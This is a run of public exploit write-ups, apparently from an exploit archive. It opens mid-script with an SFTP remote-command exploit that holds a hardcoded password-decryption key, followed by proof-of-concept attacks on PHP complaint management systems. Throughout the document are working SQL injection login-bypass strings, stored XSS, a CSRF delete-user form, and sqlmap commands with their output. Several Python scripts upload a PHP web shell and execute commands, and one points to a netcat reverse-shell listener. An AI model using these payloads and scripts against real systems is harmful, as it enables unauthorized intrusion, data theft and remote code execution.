        print('[!] Error could not request server info via SFTP')
        sys.exit(1)
    
    res = b64decode(res[1].get_string()).decode('utf-8')
    res = ET.fromstring(res)
    changeset_id = res.find('.//SyncChangeSetID')
    uuid = convert_changeset_id_to_uuid(changeset_id)
    return str(uuid)

def login(host, port, user, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False)
    return ssh.open_sftp()

def send_command(sftp, cmd):
    uuid = get_uuid(sftp)
    payload = prepare_update_config(uuid, cmd)
    res = send_request(sftp, payload)
    if res[0] != 201:
        print('[!] Error could not send update config request via SFTP')
        sys.exit(1)

def decrypt_password(password):
  key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E')
  iv = b64decode('gVGow/9uLvM=')
  encrypted = b64decode(password)
  cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC)
  decrypted = cipher.decrypt(encrypted)
  return unpad(decrypted, 8).decode('utf-16')

if len(sys.argv) != 6:
    print('[!] Missing arguments')
    print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0]))
    print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]
cmd = sys.argv[5]

print('[ ] Decrypting password')
password = decrypt_password(password)
print('[ ] Decrypted password is "{}"'.format(password))

print('[ ] Logging in')
sftp = login(target, port, username, password)

print('[ ] Sending command')
send_command(sftp, cmd)

print('[ ] Command successfully sent, triggering...')
sftp = login(target, port, username, password)
HireHackking 
# Exploit Title: Complaints Report Management System 1.0 - 'username' SQL Injection / Remote Code Execution
# Date: 3-11-2020
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14566/complaints-report-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/complaints-report-management-system.zip
# Version: 1.0
# Tested on: Parrot 5.5.17 + Apache 2.4.46
# CVE ID : N/A

# replace shell.php with your own php reverse shell
# change [TARGET URL] to target URL or IP address
# setup your netcat listener for sum good ol shellz



#!/usr/bin/python3

import requests
import time

def sqli_admin():
	s = requests.Session()
	data = {"username":"admin'or'1'=1#","password":"hacked"}
	adminlogin = "http://localhost/crms/admin/ajax.php?action=save_settings"
	s.post(adminlogin,data=data)
	return s

def trigger_rce(session):
	starttime = int(time.time())
	multipart_form_data = {
	"name": ("cyberscurity"),
	"email": ("test@test.com"),
	"contact" : ("+11111111111"),
	"about" : ("Nothing much about it"),
	"img" : ("shell.php", open("shell.php", "rb"))
	}
	session.post("http://localhost/crms/admin/ajax.php?action=save_settings", files=multipart_form_data)
	get_shell(starttime-100,starttime+100,session)


def get_shell(start,end,session):
	for i in range(start,end):
		 session.get("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")
		 response = requests.get ("http://localhost/crms/admin/assets/uploads/"+ str(i) +"_shell.php")
		 if response.status_code == 200:
			    print("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")
			

def main():
	session = sqli_admin()
	trigger_rce(session)

if __name__ == '__main__':
	main()
HireHackking 
# Exploit Title: Complaint Management System 4.2 - Persistent Cross-Site Scripting
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here: http://localhost/cms/users/registration.php
2- Vulnerable code:

Insert user registration information to the DB without filtering.

if(isset($_POST['submit']))
{
$fullname=$_POST['fullname'];
$email=$_POST['email'];
$password=md5($_POST['password']);
$contactno=$_POST['contactno'];
$status=1;
$query=mysqli_query($con,"insert into
users(fullName,userEmail,password,contactNo,status)
values('$fullname','$email','$password','$contactno','$status')");
$msg="Registration successfull. Now You can login !";
}
?>

3- In the admin dashboard:

Get fullName from DB and print it without any filtering

<tr>
<td colspan="2"><b><?php echo $row['fullName'];?>'s profile</b></td>
</tr>

4- If we insert "fullName" as "script>prompt(2)</script>", we can perform
this attack as "Stored XSS"

5- Picture in the Attachemnt
---------------------------------------------------
HireHackking 
# Exploit Title: Complaint Management System 4.2 - Cross-Site Request Forgery (Delete User)
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT
*************************************************
Detail:

You can perform CSRF Attack for all the functions.

----------------------------------------------

CSRF PoC for Delete User
----------------------------------------------
This request performs over the GET request with uid.
------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/cms/admin/manage-users.php">
<input type="hidden" name="uid" value="4" />
<input type="hidden" name="" value="" />
<input type="hidden" name="action" value="del" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
HireHackking 
# Exploit Title: Complaint Management System 4.2 - Authentication Bypass
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here:

if(isset($_POST['submit']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
$ret=mysqli_query($con,"SELECT * FROM admin WHERE
username='$username' and password='$password'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$extra="change-password.php";//
$_SESSION['alogin']=$_POST['username'];
$_SESSION['id']=$num['id'];
$host=$_SERVER['HTTP_HOST'];
$uri=rtrim(dirname($_SERVER['PHP_SELF']),'/\\');
header("location:http://$host$uri/$extra");
exit();
}

2- We can bypass authentication with SQLi:

Bypass code (admin login panel):

Username: pentester' or'1'=1#
Password : pentester' or'1'=1#

Finally: There is a lot of SQLi input in this project. Like, login,
registration, forgot password ...
-----------------------------------
HireHackking 
# Exploit Title: Complaint Management System 4.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows
# Description:
# There isn't any file extension control at the "Register Complaint" section of user panel.
# An unauthorized user can upload and execute php file.
# Below basic python script will bypass authentication and execute command on target server.

poc.py

#!/usr/bin/python

import requests
import sys
                  

if len(sys.argv) !=3:
	print "[*] Usage: PoC.py rhost/rpath command"
	print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"
	exit(0) 

rhost = sys.argv[1]
command = sys.argv[2]

#authentication bypass
url = "http://"+rhost+"/users/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
	
	login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

	
	#check authentication bypass
	check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
	print ("[*] Status code for login: %s"%check.status_code)
	if check.status_code == 200:
		print ("[+] Authentication bypass was successfull")
	else:
		print ("[-] Authentication bypass was unsuccessful")
		sys.exit()
	
	#upload php file
	ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
	fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
	furl = "http://"+rhost+"/users/register-complaint.php"
	fupload = session.post(url=furl, files= ufile, data=fdata)

	#execution
	final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)

	if final.status_code == 200:
		print "[+] Command execution completed successfully.\n"
		print "\tPut on a happy face.\n"
	else:
		print "[-] Command execution was unsuccessful."
		print "\tOne bad day!"
		sys.exit()

	print final.text
HireHackking 
# Exploit Title: Complaint Management System 4.0 - 'cid' SQL injection
# Google Dork: N/A
# Date: 2020-01-03
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.0
# Tested on: Windows 7
# CVE : N/A

Description:

The Complaint Management System v4.0 application from PHPgurukul is vulnerable to
blind SQL injection via the 'cid' parameter which is found on the complaint-details.php
page.

========== 1. SQLi ==========

SQLMAP POC:

GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1748 HTTP(s) requests:
---
Parameter: cid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cid=2'+(SELECT 0x7648556f WHERE 4476=4476 AND SLEEP(5))+'
---

The ?cid parameter is vulnerable to sql injection within the

the vulnerable URL = https://10.0.0.214/complaint%20management%20system/cms/admin/complaint-details.php?cid=2

request:

GET /complaint%20management%20system/cms/admin/complaint-details.php?cid=2 HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=5bmri9rlp1jvrjkhgumn7v9fot
Upgrade-Insecure-Requests: 1
HireHackking 
# Exploit Title: complaint management system 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-05-10
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/razormist/complaint-management-system.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : admin/index.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/Complaint%20Management%20System/admin/

POST /Complaint%20Management%20System/admin/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Referer: http://localhost/Complaint%20Management%20System/admin/
Cookie:PHPSESSID=6d1ef7ce1b4rgp44ep3iqncfn4
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=: undefined
HireHackking 
# Exploit Title: Complaint Management System 1.0 - 'username' SQL Injection
# Exploit Author: Daniel Ortiz
# Date: 2020-05-12
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html
# Tested on: XAMPP Version 5.6.40 / Windows 10
# Software Link:  https://www.sourcecodester.com/php/14206/complaint-management-system.html

#!/usr/bin/python

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecurePlatformWarning)

def main():
    
    target = sys.argv[1]
    payload = "ADMIN' UNION SELECT NULL,NULL,NULL,SLEEP(5)#"
    url = "http://%s/cms/admin/index.php" % target
    
    print("[+] Target: %s") % target
    print("[+] Injecting payload: %s") % payload

    inject(url, payload)

def inject(url, payload):

    s = requests.Session()
    d = {'username': payload, 'password': 'admin', 'submit': ''} 
    r = s.post(url, data=d, proxies=proxy)


if __name__ == '__main__':

    if len(sys.argv) != 2:
        print("(-) usage: %s  TARGET" % sys.argv[0])
        print("(-) e.g: %s  192.168.0.10" % sys.argv[0]) 
        sys.exit(-1)

    main()
HireHackking 
# Title: Complaint Management System 1.0 - 'cid' SQL Injection
# Exploit Author: Mohamed Elobeid (0b3!d)
# Date: 2020-08-21
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14206&title=Complaint+Management+System
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "cid" is vulnerable to Error-Based blind SQL injection in this path "/Complaint%20Management%20System/admin/complaint-details.php?cid=60" that leads to retrieve all databases.

#POC
sqlmap -u 'http://target/Complaint Management System/admin/complaint-details.php?cid=60'  --cookie="PHPSESSID=bb4g25d3qceicepo7b3d26cfpp" --dbms=mysql --dbs
HireHackking 
# Title : Complain Management System SQL Injection
# Date: 20 January 2017
# Exploit Author: Sibusiso Sishi sibusiso@ironsky.co.za
# Tested on: Windows7 x32
# Vendor: https://sourceforge.net/projects/complain-management-system/
# Version: not supplied
# Download Software: https://sourceforge.net/projects/complain-management-system/files
 
#################################################

## About The Product : ##
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.

## Vulnerability : ## 
The functions.php file line 88 has hardcoded admin credentials.
		elseif($uType == 'admin'){
			//$_SESSION['user_id'] = $row['sid'];
			if($userName == 'admin' && $password == 'admin123'){
				$_SESSION['user_id'] = 0;
				$_SESSION['user_name'] = 'Administrator';
				$_SESSION['user_type'] = 'admin';
				header('Location: '.WEB_ROOT.'index.php');
				exit;

Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.

-HTTP Method : GET

- Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"

- Sqlmap Output : 
sqlmap identified the following injection point(s) with a total of 622 HTTP(s) requests:
---
Parameter: cId (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=deleteCust&cId=123 RLIKE (SELECT (CASE WHEN (8336=8336) THEN 123 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: action=deleteCust&cId=123 AND EXTRACTVALUE(8194,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(8194=8194,1))),0x716a6b6271))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=deleteCust&cId=123 AND (SELECT * FROM (SELECT(SLEEP(5)))fdmM)
---
[22:54:32] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.1